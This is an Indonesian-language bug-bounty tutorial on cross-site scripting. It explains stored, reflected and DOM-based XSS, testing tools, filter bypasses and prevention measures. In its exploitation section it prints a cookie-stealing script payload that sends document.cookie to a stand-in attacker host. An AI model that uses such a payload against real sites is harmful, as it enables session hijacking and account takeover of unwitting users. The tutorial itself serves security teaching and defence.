BUG-BOUNTY SERIES 11: Cross-Site Scripting (XSS). Eksploitasi Input User untuk Mengambil Alih Sesi dan Interaksi
Setelah Series 10 kita membahas SQL Injection yang berfokus pada backend (database), pada series ini kita akan membahas salah satu vulnerability paling umum di sisi client, yaitu Cross-Site Scripting (XSS).
XSS menjadi salah satu celah favorit dalam Bug Bounty karena:
- Mudah ditemukan (jika memahami pola)
- Fleksibel untuk berbagai skenario eksploitasi
- Dapat menghasilkan dampak serius seperti session hijacking
Apa Itu XSS?
Cross-Site Scripting (XSS) adalah celah keamanan yang terjadi ketika aplikasi web menampilkan input pengguna tanpa proses validasi atau sanitasi yang tepat, sehingga memungkinkan attacker menyisipkan kode JavaScript berbahaya ke dalam halaman web. Kode tersebut kemudian dieksekusi di browser korban.
Dampak XSS
Serangan XSS dapat menyebabkan:
- Pencurian cookie sesi (session hijacking)
- Pengambilalihan akun pengguna
- Manipulasi tampilan website (defacement)
- Redirect ke situs berbahaya
- Eksekusi script berbahaya di browser korban
Cara Kerja XSS
Alur sederhana serangan XSS:
- Attacker memasukkan payload ke dalam input (form, URL, dll)
- Server menyimpan atau memproses input tanpa filter
- Input ditampilkan kembali ke user lain
- Browser korban mengeksekusi script tersebut
Jenis-Jenis XSS
1. Stored XSS (Persistent)
- Payload disimpan di database
- Dieksekusi setiap kali halaman diakses
Contoh lokasi:
- Kolom komentar
- Profil pengguna
- Forum
2. Reflected XSS (Non-Persistent)
- Payload dikirim melalui request (biasanya URL)
- Langsung dipantulkan oleh server
Contoh:
- Search parameter
- Error message
3. DOM-Based XSS
- Terjadi di sisi client (JavaScript)
- Tidak melalui server
Biasanya melibatkan manipulasi DOM berdasarkan input user.
Payload Dasar XSS
Untuk testing awal:
<script>alert('XSS')</script>Jika payload berhasil dieksekusi: Aplikasi kemungkinan rentan terhadap XSS
Tools untuk XSS Testing
1. Burp Suite
- Intercept dan inject payload
- Sangat efektif untuk manual testing
2. OWASP ZAP
- Scanning otomatis vulnerability
3. XSStrike
- Tool khusus untuk XSS detection & exploitation
Teknik Eksploitasi Lanjutan
1. Bypass Filter
Gunakan:
- Encoding (
<script>→%3Cscript%3E) - Event handler (
onerror,onload) - Obfuscation
2. Stealing Cookie
Contoh payload:
<script>document.location='http://target-attacker.com?cookie='+document.cookie</script>3. Session Hijacking
Jika cookie tidak menggunakan flag:
- HttpOnly
- Secure
Maka attacker dapat mengambil alih sesi user.
4. Keylogger Injection
Menangkap input user secara real-time.
Best Practice saat Testing
- Jangan menyerang user lain secara nyata
- Gunakan payload sederhana sebagai PoC
- Hindari eksploitasi berlebihan
- Tetap dalam scope program
Cara Mencegah XSS
1. Input Sanitization
- Filter karakter berbahaya (
<,>,",')
2. Output Encoding
- Encode sebelum ditampilkan ke browser
3. Content Security Policy (CSP)
- Membatasi sumber script
4. Gunakan HttpOnly Cookie
- Mencegah akses cookie melalui JavaScript
Kesimpulan Series 11
XSS adalah vulnerability yang sangat umum namun memiliki dampak besar jika dieksploitasi dengan benar.
Dengan memahami jenis, teknik eksploitasi, dan cara bypass filter, bug hunter dapat meningkatkan peluang menemukan celah yang bernilai tinggi.
"Input yang tidak disanitasi bukan hanya bug — tetapi pintu masuk ke sesi pengguna."
Pada Series 12, kita akan membahas vulnerability yang sering dikombinasikan dengan XSS, yaitu Cross-Site Request Forgery (CSRF), serta bagaimana attacker memanfaatkan sesi pengguna tanpa sepengetahuan mereka.